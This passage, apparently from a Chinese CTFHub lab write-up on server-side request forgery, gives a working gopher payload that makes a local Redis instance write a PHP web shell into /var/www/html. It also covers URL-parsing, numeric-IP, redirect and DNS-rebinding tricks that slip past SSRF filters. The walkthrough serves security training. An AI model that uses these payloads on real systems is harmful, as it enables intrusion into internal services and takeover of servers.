参数传递命令gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
-
这里也是将这里编码的时候把**(
gopher://127.0.0.1:6379/
)进行了1次URL编码 而payload部分(_
之后的内容)进行了2次URL编码gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
-
将payload在url后面进行拼接 然后访问 这里可能会出现504 没关系我们的文件已经写进去了
-
访问shell.php文件使用命令执行拿到flag
URL Bypass
-
利用解析URL所出现的问题 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤
http://www.baidu.com@192.168.0.1
-
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是
www.baidu.com
认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很可能会认为访问URL的host为www.baidu.com
,而实际上这个URL所请求的内容为192.168.0.1
上的内容 -
求的URL中必须包含http://notfound.ctfhub.com 利用这里来构造url 拿到flag
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
-
看到这里对127.0.0进行了过滤
-
这里采用进制转换的方式绕过 url=http://2130706433/flag.php
八进制
url=http://0177.0.0.1/flag.php10 进制全部转换
url=http://2130706433/flag.php十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
url=http://0x7F.0.0.1/flag.php还有一种特殊的省略模式
127.0.0.1写成127.1用CIDR绕过localhost
url=http://127.127.127.127/flag.php还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php
302跳转 Bypass
- 这里我没有服务器 所以这里我使用http://sudo.cc构造url绕过检测
?url=http://sudo.cc/flag.php
[http://sudo.cc](http://sudo.cc)
是一个专门用于演示或测试 SSRF(服务端请求伪造)漏洞的公共服务,其核心设计是: 将该域名的 DNS 解析直接指向127.0.0.1
(即本地回环地址)。
DNS重绑定 Bypass
什么是DNS Rebinding
简单来说就是:在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
可以参考这个文章:浅谈DNS重绑定漏洞
-
这里我们使用网站[rebinder可以使用这个测试DNS重绑定漏洞的在线工具。在这个页面中输入两个你想切换的IP地址。在很短的ttl内,这个生成的主机名会随机解析成两个IP中的一个
-
构造我们的url进行发送请求拿到flag
?url=7f000001.7f000002.rbndr.us/flag.php